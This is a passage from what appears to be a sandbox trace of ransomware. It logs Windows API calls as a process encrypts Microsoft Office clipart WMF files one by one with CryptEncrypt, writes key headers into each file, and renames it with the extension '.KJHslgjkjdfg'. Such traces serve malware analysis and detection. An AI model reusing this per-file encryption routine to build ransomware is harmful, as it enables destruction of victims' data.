phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.309] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.309] GetProcessHeap () returned 0x2ef0000 [0216.309] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.309] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.309] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.309] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.311] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.311] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.311] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.312] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.312] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.312] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.312] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x270, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x270, lpOverlapped=0x0) returned 1 [0216.312] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x270, dwBufLen=0x270 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x270) returned 1 [0216.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.312] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x270, lpOverlapped=0x0) returned 1 [0216.312] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.312] SetEndOfFile (hFile=0x130) returned 1 [0216.315] GetProcessHeap () returned 0x2ef0000 [0216.315] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.315] GetProcessHeap () returned 0x2ef0000 [0216.315] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf.kjhslgjkjdfg")) returned 1 [0216.317] CloseHandle (hObject=0x130) returned 1 [0216.317] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04ab00, ftCreationTime.dwHighDateTime=0x1bd4bfd, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04ab00, ftLastWriteTime.dwHighDateTime=0x1bd4bfd, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01852_.WMF", cAlternateFileName="")) returned 1 [0216.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.318] GetProcessHeap () returned 0x2ef0000 [0216.318] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.318] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.319] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.321] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.321] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.321] GetProcessHeap () returned 0x2ef0000 [0216.321] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.321] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.321] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.321] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.322] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.322] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.322] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.322] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.322] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.322] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.322] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1138, lpOverlapped=0x0) returned 1 [0216.323] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1140, dwBufLen=0x1140 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1140) returned 1 [0216.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.323] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1140, lpOverlapped=0x0) returned 1 [0216.324] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.324] SetEndOfFile (hFile=0x130) returned 1 [0216.326] GetProcessHeap () returned 0x2ef0000 [0216.327] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.327] GetProcessHeap () returned 0x2ef0000 [0216.327] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf.kjhslgjkjdfg")) returned 1 [0216.328] CloseHandle (hObject=0x130) returned 1 [0216.328] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01858_.WMF", cAlternateFileName="")) returned 1 [0216.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.330] GetProcessHeap () returned 0x2ef0000 [0216.330] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.330] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.330] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.332] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.332] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.332] GetProcessHeap () returned 0x2ef0000 [0216.332] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.333] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.333] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.333] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.333] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.333] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.333] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.333] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.334] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.334] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.334] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x10c8, lpOverlapped=0x0) returned 1 [0216.335] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10d0, dwBufLen=0x10d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10d0) returned 1 [0216.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.335] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x10d0, lpOverlapped=0x0) returned 1 [0216.335] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.336] SetEndOfFile (hFile=0x130) returned 1 [0216.338] GetProcessHeap () returned 0x2ef0000 [0216.338] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.338] GetProcessHeap () returned 0x2ef0000 [0216.338] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf.kjhslgjkjdfg")) returned 1 [0216.340] CloseHandle (hObject=0x130) returned 1 [0216.340] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa55a300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa55a300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xdb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01866_.WMF", cAlternateFileName="")) returned 1 [0216.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.341] GetProcessHeap () returned 0x2ef0000 [0216.341] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.341] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.341] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.341] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.402] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.402] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.402] GetProcessHeap () returned 0x2ef0000 [0216.402] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.402] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.402] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.402] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.403] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.403] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.403] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.403] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.441] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.441] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.442] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xdb8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xdb8, lpOverlapped=0x0) returned 1 [0216.442] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xdc0, dwBufLen=0xdc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xdc0) returned 1 [0216.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.442] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xdc0, lpOverlapped=0x0) returned 1 [0216.442] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.442] SetEndOfFile (hFile=0x130) returned 1 [0216.510] GetProcessHeap () returned 0x2ef0000 [0216.511] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.511] GetProcessHeap () returned 0x2ef0000 [0216.511] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.511] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf.kjhslgjkjdfg")) returned 1 [0216.513] CloseHandle (hObject=0x130) returned 1 [0216.513] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02009_.WMF", cAlternateFileName="")) returned 1 [0216.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.514] GetProcessHeap () returned 0x2ef0000 [0216.514] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.514] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.514] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.514] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.514] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.514] GetProcessHeap () returned 0x2ef0000 [0216.514] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.514] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.515] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.515] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.516] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.517] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, 